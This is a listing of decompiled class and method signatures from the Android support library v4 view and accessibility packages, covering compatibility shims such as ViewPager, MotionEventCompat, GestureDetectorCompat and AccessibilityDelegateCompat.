android/support/v4/view/MotionEventCompat$EclairMotionEventVersionImpl.class


package android.support.v4.view;
synchronized class MotionEventCompat$EclairMotionEventVersionImpl implements MotionEventCompat$MotionEventVersionImpl {
    void MotionEventCompat$EclairMotionEventVersionImpl();
    public int findPointerIndex(android.view.MotionEvent, int);
    public int getPointerId(android.view.MotionEvent, int);
    public float getX(android.view.MotionEvent, int);
    public float getY(android.view.MotionEvent, int);
    public int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/PagerTitleStripIcs.class


package android.support.v4.view;
synchronized class PagerTitleStripIcs {
    void PagerTitleStripIcs();
    public static void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatStubImpl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatStubImpl implements ViewGroupCompat$ViewGroupCompatImpl {
    void ViewGroupCompat$ViewGroupCompatStubImpl();
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
    public int getLayoutMode(android.view.ViewGroup);
    public void setLayoutMode(android.view.ViewGroup, int);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateImpl.class


package android.support.v4.view;
abstract interface AccessibilityDelegateCompat$AccessibilityDelegateImpl {
    public abstract Object newAccessiblityDelegateDefaultImpl();
    public abstract Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public abstract boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public abstract void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(Object, android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public abstract boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ScaleGestureDetectorCompat$ScaleGestureDetectorCompatKitKatImpl.class


package android.support.v4.view;
synchronized class ScaleGestureDetectorCompat$ScaleGestureDetectorCompatKitKatImpl implements ScaleGestureDetectorCompat$ScaleGestureDetectorImpl {
    private void ScaleGestureDetectorCompat$ScaleGestureDetectorCompatKitKatImpl();
    public void setQuickScaleEnabled(Object, boolean);
    public boolean isQuickScaleEnabled(Object);
}










android/support/v4/view/MenuItemCompatIcs$OnActionExpandListenerWrapper.class


package android.support.v4.view;
synchronized class MenuItemCompatIcs$OnActionExpandListenerWrapper implements android.view.MenuItem$OnActionExpandListener {
    private MenuItemCompatIcs$SupportActionExpandProxy mWrapped;
    public void MenuItemCompatIcs$OnActionExpandListenerWrapper(MenuItemCompatIcs$SupportActionExpandProxy);
    public boolean onMenuItemActionExpand(android.view.MenuItem);
    public boolean onMenuItemActionCollapse(android.view.MenuItem);
}










android/support/v4/view/GravityCompat$GravityCompatImplJellybeanMr1.class


package android.support.v4.view;
synchronized class GravityCompat$GravityCompatImplJellybeanMr1 implements GravityCompat$GravityCompatImpl {
    void GravityCompat$GravityCompatImplJellybeanMr1();
    public int getAbsoluteGravity(int, int);
    public void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/MotionEventCompat.class


package android.support.v4.view;
public synchronized class MotionEventCompat {
    static final MotionEventCompat$MotionEventVersionImpl IMPL;
    public static final int ACTION_MASK = 255;
    public static final int ACTION_POINTER_DOWN = 5;
    public static final int ACTION_POINTER_UP = 6;
    public static final int ACTION_HOVER_MOVE = 7;
    public static final int ACTION_SCROLL = 8;
    public static final int ACTION_POINTER_INDEX_MASK = 65280;
    public static final int ACTION_POINTER_INDEX_SHIFT = 8;
    public static final int ACTION_HOVER_ENTER = 9;
    public static final int ACTION_HOVER_EXIT = 10;
    public void MotionEventCompat();
    public static int getActionMasked(android.view.MotionEvent);
    public static int getActionIndex(android.view.MotionEvent);
    public static int findPointerIndex(android.view.MotionEvent, int);
    public static int getPointerId(android.view.MotionEvent, int);
    public static float getX(android.view.MotionEvent, int);
    public static float getY(android.view.MotionEvent, int);
    public static int getPointerCount(android.view.MotionEvent);
    static void <clinit>();
}










android/support/v4/view/VelocityTrackerCompat$VelocityTrackerVersionImpl.class


package android.support.v4.view;
abstract interface VelocityTrackerCompat$VelocityTrackerVersionImpl {
    public abstract float getXVelocity(android.view.VelocityTracker, int);
    public abstract float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1 implements AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean {
    void AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl$1(AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl, AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public Object getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/PagerTitleStrip$PageListener.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PageListener extends android.database.DataSetObserver implements ViewPager$OnPageChangeListener, ViewPager$OnAdapterChangeListener {
    private int mScrollState;
    private void PagerTitleStrip$PageListener(PagerTitleStrip);
    public void onPageScrolled(int, float, int);
    public void onPageSelected(int);
    public void onPageScrollStateChanged(int);
    public void onAdapterChanged(PagerAdapter, PagerAdapter);
    public void onChanged();
}










android/support/v4/view/ScaleGestureDetectorCompat.class


package android.support.v4.view;
public synchronized class ScaleGestureDetectorCompat {
    static final ScaleGestureDetectorCompat$ScaleGestureDetectorImpl IMPL;
    private void ScaleGestureDetectorCompat();
    public static void setQuickScaleEnabled(Object, boolean);
    public static boolean isQuickScaleEnabled(Object);
    static void <clinit>();
}










android/support/v4/view/ViewConfigurationCompat.class


package android.support.v4.view;
public synchronized class ViewConfigurationCompat {
    static final ViewConfigurationCompat$ViewConfigurationVersionImpl IMPL;
    public void ViewConfigurationCompat();
    public static int getScaledPagingTouchSlop(android.view.ViewConfiguration);
    static void <clinit>();
}










android/support/v4/view/KeyEventCompat.class


package android.support.v4.view;
public synchronized class KeyEventCompat {
    static final KeyEventCompat$KeyEventVersionImpl IMPL;
    public void KeyEventCompat();
    public static int normalizeMetaState(int);
    public static boolean metaStateHasModifiers(int, int);
    public static boolean metaStateHasNoModifiers(int);
    public static boolean hasModifiers(android.view.KeyEvent, int);
    public static boolean hasNoModifiers(android.view.KeyEvent);
    public static void startTracking(android.view.KeyEvent);
    public static boolean isTracking(android.view.KeyEvent);
    public static Object getKeyDispatcherState(android.view.View);
    public static boolean dispatch(android.view.KeyEvent, android.view.KeyEvent$Callback, Object, Object);
    static void <clinit>();
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatJellybeanMR2Impl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatJellybeanMR2Impl extends ViewGroupCompat$ViewGroupCompatIcsImpl {
    void ViewGroupCompat$ViewGroupCompatJellybeanMR2Impl();
    public int getLayoutMode(android.view.ViewGroup);
    public void setLayoutMode(android.view.ViewGroup, int);
}










android/support/v4/view/ViewPager$ItemInfo.class


package android.support.v4.view;
synchronized class ViewPager$ItemInfo {
    Object object;
    int position;
    boolean scrolling;
    float widthFactor;
    float offset;
    void ViewPager$ItemInfo();
}










android/support/v4/view/VelocityTrackerCompat$BaseVelocityTrackerVersionImpl.class


package android.support.v4.view;
synchronized class VelocityTrackerCompat$BaseVelocityTrackerVersionImpl implements VelocityTrackerCompat$VelocityTrackerVersionImpl {
    void VelocityTrackerCompat$BaseVelocityTrackerVersionImpl();
    public float getXVelocity(android.view.VelocityTracker, int);
    public float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/PagerTitleStripIcs$SingleLineAllCapsTransform.class


package android.support.v4.view;
synchronized class PagerTitleStripIcs$SingleLineAllCapsTransform extends android.text.method.SingleLineTransformationMethod {
    private static final String TAG = SingleLineAllCapsTransform;
    private java.util.Locale mLocale;
    public void PagerTitleStripIcs$SingleLineAllCapsTransform(android.content.Context);
    public CharSequence getTransformation(CharSequence, android.view.View);
}










android/support/v4/view/ViewPager$MyAccessibilityDelegate.class


package android.support.v4.view;
synchronized class ViewPager$MyAccessibilityDelegate extends AccessibilityDelegateCompat {
    void ViewPager$MyAccessibilityDelegate(ViewPager);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    private boolean canScroll();
}










android/support/v4/view/ViewPager$OnAdapterChangeListener.class


package android.support.v4.view;
abstract interface ViewPager$OnAdapterChangeListener {
    public abstract void onAdapterChanged(PagerAdapter, PagerAdapter);
}










android/support/v4/view/GravityCompat$GravityCompatImpl.class


package android.support.v4.view;
abstract interface GravityCompat$GravityCompatImpl {
    public abstract int getAbsoluteGravity(int, int);
    public abstract void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public abstract void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public abstract void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplBase.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplBase implements GestureDetectorCompat$GestureDetectorCompatImpl {
    private int mTouchSlopSquare;
    private int mDoubleTapSlopSquare;
    private int mMinimumFlingVelocity;
    private int mMaximumFlingVelocity;
    private static final int LONGPRESS_TIMEOUT;
    private static final int TAP_TIMEOUT;
    private static final int DOUBLE_TAP_TIMEOUT;
    private static final int SHOW_PRESS = 1;
    private static final int LONG_PRESS = 2;
    private static final int TAP = 3;
    private final android.os.Handler mHandler;
    private final android.view.GestureDetector$OnGestureListener mListener;
    private android.view.GestureDetector$OnDoubleTapListener mDoubleTapListener;
    private boolean mStillDown;
    private boolean mDeferConfirmSingleTap;
    private boolean mInLongPress;
    private boolean mAlwaysInTapRegion;
    private boolean mAlwaysInBiggerTapRegion;
    private android.view.MotionEvent mCurrentDownEvent;
    private android.view.MotionEvent mPreviousUpEvent;
    private boolean mIsDoubleTapping;
    private float mLastFocusX;
    private float mLastFocusY;
    private float mDownFocusX;
    private float mDownFocusY;
    private boolean mIsLongpressEnabled;
    private android.view.VelocityTracker mVelocityTracker;
    public void GestureDetectorCompat$GestureDetectorCompatImplBase(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    private void init(android.content.Context);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
    public void setIsLongpressEnabled(boolean);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    private void cancel();
    private void cancelTaps();
    private boolean isConsideredDoubleTap(android.view.MotionEvent, android.view.MotionEvent, android.view.MotionEvent);
    private void dispatchLongPress();
    static void <clinit>();
}










android/support/v4/view/AccessibilityDelegateCompatIcs$1.class


package android.support.v4.view;
final synchronized class AccessibilityDelegateCompatIcs$1 extends android.view.View$AccessibilityDelegate {
    void AccessibilityDelegateCompatIcs$1(AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.view.accessibility.AccessibilityNodeInfo);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ScaleGestureDetectorCompat$1.class


package android.support.v4.view;
synchronized class ScaleGestureDetectorCompat$1 {
}










android/support/v4/view/ViewPager$PageTransformer.class


package android.support.v4.view;
public abstract interface ViewPager$PageTransformer {
    public abstract void transformPage(android.view.View, float);
}










android/support/v4/view/ViewGroupCompatHC.class


package android.support.v4.view;
synchronized class ViewGroupCompatHC {
    private void ViewGroupCompatHC();
    public static void setMotionEventSplittingEnabled(android.view.ViewGroup, boolean);
}










android/support/v4/view/ViewGroupCompatJellybeanMR2.class


package android.support.v4.view;
synchronized class ViewGroupCompatJellybeanMR2 {
    void ViewGroupCompatJellybeanMR2();
    public static int getLayoutMode(android.view.ViewGroup);
    public static void setLayoutMode(android.view.ViewGroup, int);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl extends AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImpl.class


package android.support.v4.view;
abstract interface GestureDetectorCompat$GestureDetectorCompatImpl {
    public abstract boolean isLongpressEnabled();
    public abstract boolean onTouchEvent(android.view.MotionEvent);
    public abstract void setIsLongpressEnabled(boolean);
    public abstract void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/GravityCompat$GravityCompatImplBase.class


package android.support.v4.view;
synchronized class GravityCompat$GravityCompatImplBase implements GravityCompat$GravityCompatImpl {
    void GravityCompat$GravityCompatImplBase();
    public int getAbsoluteGravity(int, int);
    public void apply(int, int, int, android.graphics.Rect, android.graphics.Rect, int);
    public void apply(int, int, int, android.graphics.Rect, int, int, android.graphics.Rect, int);
    public void applyDisplay(int, android.graphics.Rect, android.graphics.Rect, int);
}










android/support/v4/view/MenuItemCompat$HoneycombMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuItemCompat$HoneycombMenuVersionImpl implements MenuItemCompat$MenuVersionImpl {
    void MenuItemCompat$HoneycombMenuVersionImpl();
    public void setShowAsAction(android.view.MenuItem, int);
    public android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    public android.view.MenuItem setActionView(android.view.MenuItem, int);
    public android.view.View getActionView(android.view.MenuItem);
    public boolean expandActionView(android.view.MenuItem);
    public boolean collapseActionView(android.view.MenuItem);
    public boolean isActionViewExpanded(android.view.MenuItem);
    public android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompat$OnActionExpandListener);
}










android/support/v4/view/ActionProvider$VisibilityListener.class


package android.support.v4.view;
public abstract interface ActionProvider$VisibilityListener {
    public abstract void onActionProviderVisibilityChanged(boolean);
}










android/support/v4/view/ViewConfigurationCompatFroyo.class


package android.support.v4.view;
synchronized class ViewConfigurationCompatFroyo {
    void ViewConfigurationCompatFroyo();
    public static int getScaledPagingTouchSlop(android.view.ViewConfiguration);
}










android/support/v4/view/MenuItemCompat$IcsMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuItemCompat$IcsMenuVersionImpl extends MenuItemCompat$HoneycombMenuVersionImpl {
    void MenuItemCompat$IcsMenuVersionImpl();
    public boolean expandActionView(android.view.MenuItem);
    public boolean collapseActionView(android.view.MenuItem);
    public boolean isActionViewExpanded(android.view.MenuItem);
    public android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompat$OnActionExpandListener);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateStubImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateStubImpl implements AccessibilityDelegateCompat$AccessibilityDelegateImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateStubImpl();
    public Object newAccessiblityDelegateDefaultImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(Object, android.view.View, int);
    public void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/ViewCompat$JBViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$JBViewCompatImpl extends ViewCompat$ICSViewCompatImpl {
    void ViewCompat$JBViewCompatImpl();
    public boolean hasTransientState(android.view.View);
    public void setHasTransientState(android.view.View, boolean);
    public void postInvalidateOnAnimation(android.view.View);
    public void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public void postOnAnimation(android.view.View, Runnable);
    public void postOnAnimationDelayed(android.view.View, Runnable, long);
    public int getImportantForAccessibility(android.view.View);
    public void setImportantForAccessibility(android.view.View, int);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public android.view.ViewParent getParentForAccessibility(android.view.View);
}










android/support/v4/view/ViewPager$SimpleOnPageChangeListener.class


package android.support.v4.view;
public synchronized class ViewPager$SimpleOnPageChangeListener implements ViewPager$OnPageChangeListener {
    public void ViewPager$SimpleOnPageChangeListener();
    public void onPageScrolled(int, float, int);
    public void onPageSelected(int);
    public void onPageScrollStateChanged(int);
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImplBase.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PagerTitleStripImplBase implements PagerTitleStrip$PagerTitleStripImpl {
    void PagerTitleStrip$PagerTitleStripImplBase();
    public void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/MenuItemCompat$OnActionExpandListener.class


package android.support.v4.view;
public abstract interface MenuItemCompat$OnActionExpandListener {
    public abstract boolean onMenuItemActionExpand(android.view.MenuItem);
    public abstract boolean onMenuItemActionCollapse(android.view.MenuItem);
}










android/support/v4/view/GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr2.class


package android.support.v4.view;
synchronized class GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr2 implements GestureDetectorCompat$GestureDetectorCompatImpl {
    private final android.view.GestureDetector mDetector;
    public void GestureDetectorCompat$GestureDetectorCompatImplJellybeanMr2(android.content.Context, android.view.GestureDetector$OnGestureListener, android.os.Handler);
    public boolean isLongpressEnabled();
    public boolean onTouchEvent(android.view.MotionEvent);
    public void setIsLongpressEnabled(boolean);
    public void setOnDoubleTapListener(android.view.GestureDetector$OnDoubleTapListener);
}










android/support/v4/view/MenuItemCompat$BaseMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuItemCompat$BaseMenuVersionImpl implements MenuItemCompat$MenuVersionImpl {
    void MenuItemCompat$BaseMenuVersionImpl();
    public void setShowAsAction(android.view.MenuItem, int);
    public android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    public android.view.MenuItem setActionView(android.view.MenuItem, int);
    public android.view.View getActionView(android.view.MenuItem);
    public boolean expandActionView(android.view.MenuItem);
    public boolean collapseActionView(android.view.MenuItem);
    public boolean isActionViewExpanded(android.view.MenuItem);
    public android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompat$OnActionExpandListener);
}










android/support/v4/view/ViewCompat$BaseViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$BaseViewCompatImpl implements ViewCompat$ViewCompatImpl {
    void ViewCompat$BaseViewCompatImpl();
    public boolean canScrollHorizontally(android.view.View, int);
    public boolean canScrollVertically(android.view.View, int);
    public int getOverScrollMode(android.view.View);
    public void setOverScrollMode(android.view.View, int);
    public void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean hasTransientState(android.view.View);
    public void setHasTransientState(android.view.View, boolean);
    public void postInvalidateOnAnimation(android.view.View);
    public void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public void postOnAnimation(android.view.View, Runnable);
    public void postOnAnimationDelayed(android.view.View, Runnable, long);
    long getFrameTime();
    public int getImportantForAccessibility(android.view.View);
    public void setImportantForAccessibility(android.view.View, int);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public float getAlpha(android.view.View);
    public void setLayerType(android.view.View, int, android.graphics.Paint);
    public int getLayerType(android.view.View);
    public int getLabelFor(android.view.View);
    public void setLabelFor(android.view.View, int);
    public void setLayerPaint(android.view.View, android.graphics.Paint);
    public int getLayoutDirection(android.view.View);
    public void setLayoutDirection(android.view.View, int);
    public android.view.ViewParent getParentForAccessibility(android.view.View);
    public boolean isOpaque(android.view.View);
    public int resolveSizeAndState(int, int, int);
    public int getMeasuredWidthAndState(android.view.View);
    public int getMeasuredHeightAndState(android.view.View);
    public int getMeasuredState(android.view.View);
    public int getAccessibilityLiveRegion(android.view.View);
    public void setAccessibilityLiveRegion(android.view.View, int);
}










android/support/v4/view/AccessibilityDelegateCompatJellyBean$1.class


package android.support.v4.view;
final synchronized class AccessibilityDelegateCompatJellyBean$1 extends android.view.View$AccessibilityDelegate {
    void AccessibilityDelegateCompatJellyBean$1(AccessibilityDelegateCompatJellyBean$AccessibilityDelegateBridgeJellyBean);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.view.accessibility.AccessibilityNodeInfo);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public android.view.accessibility.AccessibilityNodeProvider getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeProviderCompat {
    private static final AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl IMPL;
    private final Object mProvider;
    public void AccessibilityNodeProviderCompat();
    public void AccessibilityNodeProviderCompat(Object);
    public Object getProvider();
    public AccessibilityNodeInfoCompat createAccessibilityNodeInfo(int);
    public boolean performAction(int, int, android.os.Bundle);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public AccessibilityNodeInfoCompat findFocus(int);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatIcs {
    void AccessibilityNodeInfoCompatIcs();
    public static Object obtain();
    public static Object obtain(android.view.View);
    public static Object obtain(Object);
    public static void addAction(Object, int);
    public static void addChild(Object, android.view.View);
    public static java.util.List findAccessibilityNodeInfosByText(Object, String);
    public static int getActions(Object);
    public static void getBoundsInParent(Object, android.graphics.Rect);
    public static void getBoundsInScreen(Object, android.graphics.Rect);
    public static Object getChild(Object, int);
    public static int getChildCount(Object);
    public static CharSequence getClassName(Object);
    public static CharSequence getContentDescription(Object);
    public static CharSequence getPackageName(Object);
    public static Object getParent(Object);
    public static CharSequence getText(Object);
    public static int getWindowId(Object);
    public static boolean isCheckable(Object);
    public static boolean isChecked(Object);
    public static boolean isClickable(Object);
    public static boolean isEnabled(Object);
    public static boolean isFocusable(Object);
    public static boolean isFocused(Object);
    public static boolean isLongClickable(Object);
    public static boolean isPassword(Object);
    public static boolean isScrollable(Object);
    public static boolean isSelected(Object);
    public static boolean performAction(Object, int);
    public static void setBoundsInParent(Object, android.graphics.Rect);
    public static void setBoundsInScreen(Object, android.graphics.Rect);
    public static void setCheckable(Object, boolean);
    public static void setChecked(Object, boolean);
    public static void setClassName(Object, CharSequence);
    public static void setClickable(Object, boolean);
    public static void setContentDescription(Object, CharSequence);
    public static void setEnabled(Object, boolean);
    public static void setFocusable(Object, boolean);
    public static void setFocused(Object, boolean);
    public static void setLongClickable(Object, boolean);
    public static void setPackageName(Object, CharSequence);
    public static void setParent(Object, android.view.View);
    public static void setPassword(Object, boolean);
    public static void setScrollable(Object, boolean);
    public static void setSelected(Object, boolean);
    public static void setSource(Object, android.view.View);
    public static void setText(Object, CharSequence);
    public static void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompat$AccessibilityEventStubImpl implements AccessibilityEventCompat$AccessibilityEventVersionImpl {
    void AccessibilityEventCompat$AccessibilityEventStubImpl();
    public void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public Object getRecord(android.view.accessibility.AccessibilityEvent, int);
    public int getRecordCount(android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerStubImpl implements AccessibilityManagerCompat$AccessibilityManagerVersionImpl {
    void AccessibilityManagerCompat$AccessibilityManagerStubImpl();
    public Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanMr2Impl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanMr2Impl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanMr2Impl();
    public String getViewIdResourceName(Object);
    public void setViewIdResourceName(Object, String);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1 implements AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1(AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl, AccessibilityNodeProviderCompat);
    public boolean performAction(int, int, android.os.Bundle);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public Object createAccessibilityNodeInfo(int);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl$1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl$1 implements AccessibilityNodeProviderCompatKitKat$AccessibilityNodeInfoBridge {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl$1(AccessibilityNodeProviderCompat$AccessibilityNodeProviderKitKatImpl, AccessibilityNodeProviderCompat);
    public boolean performAction(int, int, android.os.Bundle);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public Object createAccessibilityNodeInfo(int);
    public Object findFocus(int);
}










